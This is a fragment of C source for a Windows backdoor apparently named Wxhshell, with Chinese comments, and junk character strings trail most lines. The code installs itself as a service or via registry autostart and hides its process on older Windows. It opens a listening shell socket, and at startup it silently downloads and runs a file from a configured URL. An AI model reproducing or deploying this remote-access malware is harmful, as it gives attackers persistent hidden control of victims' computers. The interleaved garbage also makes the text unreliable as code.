ULONG InheritedFromUniqueProcessId; 7NeDs$
} PROCESS_BASIC_INFORMATION; cL
ae=N
tz3]le|ml
PROCNTQSIP NtQueryInformationProcess; !b'IfDp[-!
u5/t2}^T
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G6<HO7\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J/=
+r0c
2>ys2:z
HANDLE hProcess; #*\Ry/9Q
PROCESS_BASIC_INFORMATION pbi; qZ233pc
vD_u[j]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u9 %;{:]h
if(NULL == hInst ) return 0; 3m3
EXz
MHGj vSx
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2S'AIuIew
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~U/8 @gR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); va@Xb UC
?${V{=)*X'
if (!NtQueryInformationProcess) return 0; 3L*+ 8a
\N6<BS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J/L)3y
if(!hProcess) return 0; +&(Jn
<Ak:8&$O
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6(,ItMbI
2NyUmJ42
CloseHandle(hProcess); W3"vTZJF
2$iw/r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QZ#3Bn%B5
if(hProcess==NULL) return 0; :l4^iSf
ysL0hwir
HMODULE hMod; j-j'ph K
char procName[255]; RFhU#
unsigned long cbNeeded; gYRqqV
MPqY?KF
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sw[<VsxjR
4$..r4@
CloseHandle(hProcess); w4NZt|>5j;
$#F;xys
if(strstr(procName,"services")) return 1; // 以服务启动 z9I1RXV
:fl*w""V@
return 0; // 注册表启动 $U\!q@'$
} A&D2T
P>.Y)$`r
// 主模块 q$bHO
int StartWxhshell(LPSTR lpCmdLine) i?lX,9%
{ /DK*yS
SOCKET wsl; zUe#Wp[
BOOL val=TRUE; Tw?Pp8'
int port=0; Rd`{qW
struct sockaddr_in door; =7*oC
|:~("rA+v
if(wscfg.ws_autoins) Install(); *QMF
<ze
Ma% E&.ed
port=atoi(lpCmdLine); D%6ir*%T
w2.qT+;v
if(port<=0) port=wscfg.ws_port; jn0t-":
|G[{{qZM5
WSADATA data; ]}jgB2x7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }]uB?
+c
L~'^W/N
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0=3FO}[u
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T^rz!k{
door.sin_family = AF_INET;
['Hp?Q|k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /+Wb6{lY
door.sin_port = htons(port); Dh*~U:6$g
u]ZqF *
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }w;Q^EU
closesocket(wsl); a.5zdoH_
return 1; b>GqNf!
} >^M!@=/?J
I|Vk.,
if(listen(wsl,2) == INVALID_SOCKET) { N )b|
closesocket(wsl); at_dmU2[7
return 1; gvow\9{|C
} XHU<4l:kl
Wxhshell(wsl); R^n*
o
WSACleanup(); 8#[%?}tK
~nLkn#Z
return 0; T2c_vY
J"m%q\'
} K8e4ax
]L5Z=.z&
// 以NT服务方式启动 AJJ%gxqGq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g?k#wj1uH
{ yt]Oj*nn0K
DWORD status = 0; Fm-q=3
DWORD specificError = 0xfffffff; PM#$H
|H3?ox*
serviceStatus.dwServiceType = SERVICE_WIN32; H24ate?t,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @g@fL %
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f(w#LuW<
serviceStatus.dwWin32ExitCode = 0; \i&vOH'
serviceStatus.dwServiceSpecificExitCode = 0; f(@"[-[
serviceStatus.dwCheckPoint = 0; -oaG|
serviceStatus.dwWaitHint = 0; V1UUAvN7s
9-X{x95]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +35)=Uov
if (hServiceStatusHandle==0) return; ?=pZmvQg
.:#_5K
status = GetLastError(); C[Y%=\6'0
if (status!=NO_ERROR) \4]zNV ~x
{ &r5&6p
serviceStatus.dwCurrentState = SERVICE_STOPPED; mmpr]cT@'k
serviceStatus.dwCheckPoint = 0; hIE%-gZ/
serviceStatus.dwWaitHint = 0; \N-|
iq
serviceStatus.dwWin32ExitCode = status; qr<-eJf
serviceStatus.dwServiceSpecificExitCode = specificError; UH1S_:6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &deZ
return; U{U:8==
} 4EaSg#
.O@q5G
serviceStatus.dwCurrentState = SERVICE_RUNNING; {7ZtOe
serviceStatus.dwCheckPoint = 0; o|p;6
serviceStatus.dwWaitHint = 0; KV)Hywl`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mTI\,x%<OC
} $)kBz*C[
}
Y7W1$he
// 处理NT服务事件,比如:启动、停止 =: v><
VOID WINAPI NTServiceHandler(DWORD fdwControl) VDb,$i.Z0
{ 8VAYIxRv
switch(fdwControl) 6B!j(R
{ E9Qd>o
case SERVICE_CONTROL_STOP: D:RBq\8
serviceStatus.dwWin32ExitCode = 0; u+I r:k
serviceStatus.dwCurrentState = SERVICE_STOPPED; {8*d;[X50
serviceStatus.dwCheckPoint = 0; [EW$7 se~
serviceStatus.dwWaitHint = 0; )$Dcrrj
{ %Mb(
c+7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D~i@. k
} eD`
,
return; 8-y: == C
case SERVICE_CONTROL_PAUSE: K@$L~G
serviceStatus.dwCurrentState = SERVICE_PAUSED; qD=m{O8%_
break; :DJ7d
case SERVICE_CONTROL_CONTINUE: -KU)7V
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3_jCsX
break; U`8^N.Snrp
case SERVICE_CONTROL_INTERROGATE: S$kuhK>W!
break; 6iV"Tl{z-
}; [Q.4]K2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a|6x!p2X
} Te U7W?M^
%M0mwty]
// 标准应用程序主函数 YKX>@)Dxv
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4,*^QK
{ bN7 UO
aJa^~*N/Aa
// 获取操作系统版本 h3;o!FF
OsIsNt=GetOsVer(); H-\{w
GetModuleFileName(NULL,ExeFile,MAX_PATH); >`rNT|rg
5E oWyy
// 从命令行安装 +=B}R
if(strpbrk(lpCmdLine,"iI")) Install(); sP3.s_U^
_WjETyh
[H
// 下载执行文件 vxilQp
if(wscfg.ws_downexe) { L->f=
8L
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6E\\`FE4y
WinExec(wscfg.ws_filenam,SW_HIDE); _c(C;s3o
} BJ.8OU*9]S
h<^:Nn
if(!OsIsNt) { U<,Kw6K
// 如果时win9x,隐藏进程并且设置为注册表启动 rO?x/{;ai
HideProc(); $bi_i|?
StartWxhshell(lpCmdLine); D@4&@>
} ~b6<uRnM.
else kvgs $
if(StartFromService()) Y+_5"LV
// 以服务方式启动 fj
t_9-.
StartServiceCtrlDispatcher(DispatchTable); ^]lwd"$
else ,b.4uJg'
// 普通方式启动 ?od}~G4s#
StartWxhshell(lpCmdLine); sG1]A:_<C
ap$tu3j
return 0; YaJ{"'}
}